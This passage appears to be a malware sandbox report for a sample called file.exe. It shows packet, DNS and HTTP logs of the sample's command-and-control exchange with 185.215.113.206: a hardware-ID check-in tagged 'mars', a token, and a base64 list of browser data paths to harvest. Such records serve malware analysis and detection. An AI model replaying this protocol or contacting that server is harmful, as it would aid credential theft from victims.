Nov 17, 2024 03:42:45.503992081 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.504005909 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.504033089 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.504041910 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.504049063 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.504055977 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.504065990 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.504072905 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.504076004 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.504082918 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.504101038 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.504126072 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.504137993 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.504164934 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.504180908 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.504194975 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.504203081 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.504204988 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.504214048 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.504239082 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.504259109 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.504283905 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.504293919 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.504302025 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.504322052 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.504328966 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.504331112 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.504348040 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.504358053 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.504367113 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.504379034 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.504406929 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.504421949 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.504431009 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.504445076 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.504453897 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.504462957 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.504484892 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.504513979 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.504548073 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.504586935 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.506341934 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.506371021 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.506400108 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.506402969 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.506433010 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.506464958 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.506504059 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.506539106 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.506544113 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.506547928 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.506586075 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.506587029 CET	80	49797	185.215.113.206	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 17, 2024 03:42:18.761042118 CET	192.168.2.5	1.1.1.1	0x780f	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:18.761513948 CET	192.168.2.5	1.1.1.1	0x9479	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 17, 2024 03:42:23.447688103 CET	192.168.2.5	1.1.1.1	0x47aa	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:23.447891951 CET	192.168.2.5	1.1.1.1	0xc7a5	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 17, 2024 03:42:24.430775881 CET	192.168.2.5	1.1.1.1	0x8030	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:24.431308985 CET	192.168.2.5	1.1.1.1	0xb953	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 17, 2024 03:42:29.345689058 CET	192.168.2.5	1.1.1.1	0x75ac	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:29.346165895 CET	192.168.2.5	1.1.1.1	0xc5f1	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 17, 2024 03:42:31.123913050 CET	192.168.2.5	1.1.1.1	0x6606	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:31.124269962 CET	192.168.2.5	1.1.1.1	0xcbd1	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 17, 2024 03:42:32.316725016 CET	192.168.2.5	1.1.1.1	0xb856	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:32.317034960 CET	192.168.2.5	1.1.1.1	0x8e2e	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 17, 2024 03:42:32.328980923 CET	192.168.2.5	1.1.1.1	0xc9f3	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:32.329109907 CET	192.168.2.5	1.1.1.1	0x6dd4	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 17, 2024 03:42:32.337603092 CET	192.168.2.5	1.1.1.1	0x549d	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:32.337758064 CET	192.168.2.5	1.1.1.1	0x9d5d	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 17, 2024 03:42:32.403333902 CET	192.168.2.5	1.1.1.1	0x122b	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:32.403449059 CET	192.168.2.5	1.1.1.1	0xf066	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 17, 2024 03:42:32.447207928 CET	192.168.2.5	1.1.1.1	0xb000	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:32.447371006 CET	192.168.2.5	1.1.1.1	0xd90	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 17, 2024 03:42:34.296130896 CET	192.168.2.5	1.1.1.1	0x9565	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:34.296163082 CET	192.168.2.5	1.1.1.1	0xe770	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 17, 2024 03:42:34.296420097 CET	192.168.2.5	1.1.1.1	0x8696	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:34.296583891 CET	192.168.2.5	1.1.1.1	0x4dc	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 17, 2024 03:42:34.306476116 CET	192.168.2.5	1.1.1.1	0xf4d7	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:34.306612015 CET	192.168.2.5	1.1.1.1	0x12a2	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 17, 2024 03:44:38.797223091 CET	192.168.2.5	1.1.1.1	0xd98e	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:44:38.797353983 CET	192.168.2.5	1.1.1.1	0x4b91	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 17, 2024 03:42:18.767832041 CET	1.1.1.1	192.168.2.5	0x780f	No error (0)	www.google.com		172.217.18.100	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:18.768439054 CET	1.1.1.1	192.168.2.5	0x9479	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 17, 2024 03:42:23.454341888 CET	1.1.1.1	192.168.2.5	0x47aa	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 03:42:23.454341888 CET	1.1.1.1	192.168.2.5	0x47aa	No error (0)	plus.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:23.455193996 CET	1.1.1.1	192.168.2.5	0xc7a5	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 03:42:24.437794924 CET	1.1.1.1	192.168.2.5	0x8030	No error (0)	play.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:29.352463007 CET	1.1.1.1	192.168.2.5	0x75ac	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 03:42:29.353209972 CET	1.1.1.1	192.168.2.5	0xc5f1	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 03:42:29.518942118 CET	1.1.1.1	192.168.2.5	0xb3d0	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 03:42:29.518942118 CET	1.1.1.1	192.168.2.5	0xb3d0	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:29.519566059 CET	1.1.1.1	192.168.2.5	0x1c0f	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 03:42:31.131031036 CET	1.1.1.1	192.168.2.5	0xcbd1	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 03:42:31.131108046 CET	1.1.1.1	192.168.2.5	0x6606	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 03:42:32.324995041 CET	1.1.1.1	192.168.2.5	0xb856	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:32.324995041 CET	1.1.1.1	192.168.2.5	0xb856	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:32.324995041 CET	1.1.1.1	192.168.2.5	0xb856	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:32.324995041 CET	1.1.1.1	192.168.2.5	0xb856	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:32.339148998 CET	1.1.1.1	192.168.2.5	0xc9f3	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 03:42:32.346482038 CET	1.1.1.1	192.168.2.5	0x9d5d	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 03:42:32.346616030 CET	1.1.1.1	192.168.2.5	0x549d	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 03:42:32.356120110 CET	1.1.1.1	192.168.2.5	0x6dd4	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 03:42:32.410182953 CET	1.1.1.1	192.168.2.5	0x122b	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 03:42:32.410315990 CET	1.1.1.1	192.168.2.5	0xf066	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 03:42:32.454722881 CET	1.1.1.1	192.168.2.5	0xb000	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 03:42:32.454722881 CET	1.1.1.1	192.168.2.5	0xb000	No error (0)	googlehosted.l.googleusercontent.com		142.250.185.193	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:32.456100941 CET	1.1.1.1	192.168.2.5	0xd90	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 03:42:33.854748964 CET	1.1.1.1	192.168.2.5	0x7438	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 03:42:33.854748964 CET	1.1.1.1	192.168.2.5	0x7438	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:34.302803040 CET	1.1.1.1	192.168.2.5	0x9565	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:34.302803040 CET	1.1.1.1	192.168.2.5	0x9565	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:34.303261042 CET	1.1.1.1	192.168.2.5	0xe770	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 17, 2024 03:42:34.303723097 CET	1.1.1.1	192.168.2.5	0x8696	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:34.303723097 CET	1.1.1.1	192.168.2.5	0x8696	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:34.304230928 CET	1.1.1.1	192.168.2.5	0x4dc	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 17, 2024 03:42:34.313224077 CET	1.1.1.1	192.168.2.5	0x12a2	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 17, 2024 03:42:34.313498020 CET	1.1.1.1	192.168.2.5	0xf4d7	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:42:34.313498020 CET	1.1.1.1	192.168.2.5	0xf4d7	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:44:38.804069996 CET	1.1.1.1	192.168.2.5	0x4b91	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 17, 2024 03:44:38.804114103 CET	1.1.1.1	192.168.2.5	0xd98e	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 03:44:38.804114103 CET	1.1.1.1	192.168.2.5	0xd98e	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	5908	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 03:42:09.551440954 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 17, 2024 03:42:10.470637083 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 03:42:10.474400043 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBAEBGHDAECBGDGCAKE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 32 33 37 32 45 31 42 42 36 44 38 31 32 36 33 38 30 30 30 39 36 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 2d 2d 0d 0a Data Ascii: ------ECBAEBGHDAECBGDGCAKEContent-Disposition: form-data; name="hwid"92372E1BB6D81263800096------ECBAEBGHDAECBGDGCAKEContent-Disposition: form-data; name="build"mars------ECBAEBGHDAECBGDGCAKE--
Nov 17, 2024 03:42:10.770961046 CET	407	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 7a 51 79 5a 44 46 6c 4d 54 41 30 5a 44 4a 6b 4d 54 63 32 4d 47 4d 32 5a 57 45 35 59 6d 4d 7a 59 6d 55 77 59 54 6b 31 4e 32 52 6c 4e 6a 67 79 4d 6a 52 6b 4d 7a 59 33 4e 6a 41 79 59 7a 63 30 4d 57 59 35 4f 54 6c 69 4e 57 55 32 4d 6d 55 7a 5a 57 4d 79 4d 57 51 77 4e 47 59 77 59 7a 46 6a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YzQyZDFlMTA0ZDJkMTc2MGM2ZWE5YmMzYmUwYTk1N2RlNjgyMjRkMzY3NjAyYzc0MWY5OTliNWU2MmUzZWMyMWQwNGYwYzFjfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 17, 2024 03:42:10.772435904 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKEBKJJDGHCBGCAAKEH Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 32 64 31 65 31 30 34 64 32 64 31 37 36 30 63 36 65 61 39 62 63 33 62 65 30 61 39 35 37 64 65 36 38 32 32 34 64 33 36 37 36 30 32 63 37 34 31 66 39 39 39 62 35 65 36 32 65 33 65 63 32 31 64 30 34 66 30 63 31 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 2d 2d 0d 0a Data Ascii: ------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="token"c42d1e104d2d1760c6ea9bc3be0a957de68224d367602c741f999b5e62e3ec21d04f0c1c------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="message"browsers------KKKEBKJJDGHCBGCAAKEH--
Nov 17, 2024 03:42:11.058214903 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 17, 2024 03:42:11.058271885 CET	112	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGlj
Nov 17, 2024 03:42:11.058311939 CET	908	IN	Data Raw: 59 58 52 70 62 32 35 63 66 44 64 54 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 78 44 61 47 56 6b 62 33 51 67 51 6e 4a 76 64 33 4e 6c 63 6e Data Ascii: YXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnR
Nov 17, 2024 03:42:11.059804916 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKFHDBKFCAAECBFIDHJ Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 32 64 31 65 31 30 34 64 32 64 31 37 36 30 63 36 65 61 39 62 63 33 62 65 30 61 39 35 37 64 65 36 38 32 32 34 64 33 36 37 36 30 32 63 37 34 31 66 39 39 39 62 35 65 36 32 65 33 65 63 32 31 64 30 34 66 30 63 31 63 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 2d 2d 0d 0a Data Ascii: ------IJKFHDBKFCAAECBFIDHJContent-Disposition: form-data; name="token"c42d1e104d2d1760c6ea9bc3be0a957de68224d367602c741f999b5e62e3ec21d04f0c1c------IJKFHDBKFCAAECBFIDHJContent-Disposition: form-data; name="message"plugins------IJKFHDBKFCAAECBFIDHJ--
